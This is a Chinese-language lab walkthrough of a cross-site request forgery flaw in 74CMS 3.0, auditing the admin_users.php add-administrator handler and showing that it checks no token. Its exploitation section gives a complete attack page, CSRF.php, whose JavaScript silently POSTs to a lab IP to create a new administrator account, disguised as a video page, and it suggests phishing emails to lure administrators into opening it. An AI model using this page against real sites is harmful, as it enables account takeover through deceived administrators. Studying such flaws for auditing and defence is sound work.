74CMS 3.0 CSRF漏洞

一、启动环境

1.双击运行桌面phpstudy.exe软件

2.点击启动按钮，启动服务器环境

二、代码审计

1．双击启动桌面Seay源代码审计系统软件

2．因为74CMS3.0源代码编辑使用GBK编辑，所以首先需要先将编码改成GBK

3．点击新建项目按钮，弹出对画框中选择（C:\phpStudy\WWW\74cms），点击确定

漏洞分析

1．点击展开左侧admin目录，在弹出的下拉列表中双击admin_users.php页面，右侧页面可以看到相关代码。

elseif($act == 'add_users_save')
{if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足！",1);$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名！',1);if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在！',1);$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email！',1);if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误！',1);$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);if (strlen($password)<6)adminmsg('密码不能少于6位！',1);if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同！',1);$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);$setsqlarr['add_time']=time();$setsqlarr['last_login_time']=0;$setsqlarr['last_login_ip']="从未";$setsqlarr['pwd_hash']=randstr();$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);     if (inserttable(table('admin'),$setsqlarr)){$link[0]['text'] = "返回列表";$link[0]['href'] ="?act=";adminmsg('添加成功！',2,$link);}else{adminmsg('添加失败',1);}
}

其中当获取的act参数为add_users_save时，执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加，如果没有权限则直接终止掉下面紧接着进入添加管理员操作，最后将setsqlarr数组执行inserttable操作，将管理员插入数据库。中间并没有检查用户来源操作，如：Token、验证码等。

漏洞利用

1.首先需要构造一个攻击页面，由于添加用户需要POST发送数据，所以不能通过简单执行GET请求，需要在攻击页面执行Ajax请求，异步发送数据。
2.攻击JavaScript代码

<script>function  add() {var  xmlhttp = new XMLHttpRequest();var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp.withCredentials='true'; //跨域请求是否提供凭证xmlhttp.send(xmldata);}
</script>

HTML展现页面

<body "add()"><img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>--></body>

3．诱导管理员访问该页面可以使用钓鱼邮件，网站发送建议等。

访问以后用户看到就是普通一段视频，但是Ajax已经异步把数据提交到后台。

登录后台发现，已经成功添加zhangsan这个用户

完整代码
CSRF.php

<html>
<head><meta charset="utf-8"><title>欢迎看片</title><script>function  add() {var  xmlhttp = new XMLHttpRequest();var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp.withCredentials='true'; //跨域请求是否提供凭证xmlhttp.send(xmldata);}</script>
</head>
<body "add()"><img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>--></body>
</html>